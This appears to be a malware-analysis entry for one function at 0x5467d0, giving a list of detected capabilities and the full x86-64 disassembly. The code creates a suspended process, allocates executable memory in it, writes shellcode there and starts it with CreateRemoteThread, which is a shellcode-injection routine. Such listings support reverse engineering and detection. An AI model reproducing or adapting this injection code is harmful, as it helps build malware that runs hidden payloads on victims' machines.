Function at 0x5467d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Print debug messages
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push rbp
push rbx
sub rsp, 0x158
mov rbp, rsp
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0xc0], 0
mov qword [rbp + 0x98], rbp
mov qword [rbp + 0x170], rcx
mov qword [rbp + 0x178], rdx
mov dword [rbp + 0x188], r9d
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x190], eax
nop
lea rcx, [rbp + 0xc0]
mov rdx, qword [rbp + 0x170]
lea r8, [0x00546b38]
call fcn.00410b50
lea rcx, [rbp + 0xe0]
mov edx, 0x68
xor r8, r8
call fcn.0040b1f0
mov dword [rbp + 0xe0], 0x68
mov dword [rbp + 0x11c], 1
movzx rax, word [rbp + 0x188]
mov word [rbp + 0x120], ax
call fcn.00545f00
nop
mov rcx, qword [rbp + 0xc0]
call fcn.00410760
mov rbx, rax
lea rcx, [rbp + 0x90]
mov rdx, qword [rbp + 0x170]
call fcn.0042fd80
mov rcx, qword [rbp + 0x90]
call fcn.00410760
xor ecx, ecx
mov rdx, rbx
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x48], rax
call sub.kernel32.dll_CreateProcessW
test eax, eax
setne al
mov byte [rbp + 0x14f], al
nop
call fcn.00545e50
cmp byte [rbp + 0x14f], 0
je 0x546a89
mov rax, qword [rbp + 0x170]
mov qword [rbp + 0x68], rax
mov byte [rbp + 0x70], 0x11
mov eax, dword [rbp + 0xd8]
mov dword [rbp + 0x78], eax
mov byte [rbp + 0x80], 0
lea rcx, [rbp + 0x88]
lea rdx, [0x00546b48]
lea r8, [rbp + 0x68]
mov r9d, 1
call fcn.00430770
mov rcx, qword [rbp + 0x88]
call fcn.00410760
mov rcx, rax
call sub.kernel32.dll_OutputDebugStringW
mov rcx, qword [rbp + 0x178]
mov rax, qword [rbp + 0x178]
mov rax, qword [rax]
call qword [rax]
mov rcx, qword [rbp + 0xc8]
xor edx, edx
mov r8, rax
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call sub.kernel32.dll_VirtualAllocEx
mov qword [rbp + 0xb8], rax
mov rcx, qword [rbp + 0x178]
mov rax, qword [rbp + 0x178]
mov rax, qword [rax]
call qword [rax]
mov rcx, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0xb8]
mov r8, qword [rbp + 0x178]
mov r8, qword [r8 + 8]
mov r9, rax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
call sub.kernel32.dll_WriteProcessMemory
mov rcx, qword [rbp + 0xc8]
xor edx, edx
xor r8, r8
mov r9, qword [rbp + 0xb8]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
lea rax, [rbp + 0xac]
mov qword [rsp + 0x30], rax
call sub.kernel32.dll_CreateRemoteThread
mov rcx, qword [rbp + 0xd0]
call sub.kernel32.dll_ResumeThread
mov eax, dword [rbp + 0xd8]
mov dword [rbp + 0x50], eax
mov byte [rbp + 0x58], 0
lea rcx, [rbp + 0x60]
lea rdx, [0x00546b74]
lea r8, [rbp + 0x50]
xor r9, r9
call fcn.00430770
mov rcx, qword [rbp + 0x60]
call fcn.00410760
mov rcx, rax
call sub.kernel32.dll_OutputDebugStringW
cmp dword [rbp + 0x190], 0
jbe 0x546a71
mov rcx, qword [rbp + 0xc8]
mov edx, dword [rbp + 0x190]
call sub.kernel32.dll_WaitForSingleObject
mov rcx, qword [rbp + 0xc8]
call sub.kernel32.dll_CloseHandle
mov rcx, qword [rbp + 0xd0]
call sub.kernel32.dll_CloseHandle
nop
lea rcx, [rbp + 0x60]
call fcn.0040f400
lea rcx, [rbp + 0x88]
mov edx, 2
call fcn.0040f4e0
lea rcx, [rbp + 0xc0]
call fcn.0040f400
movzx rax, byte [rbp + 0x14f]
lea rsp, [rbp + 0x158]
pop rbx
pop rbp
ret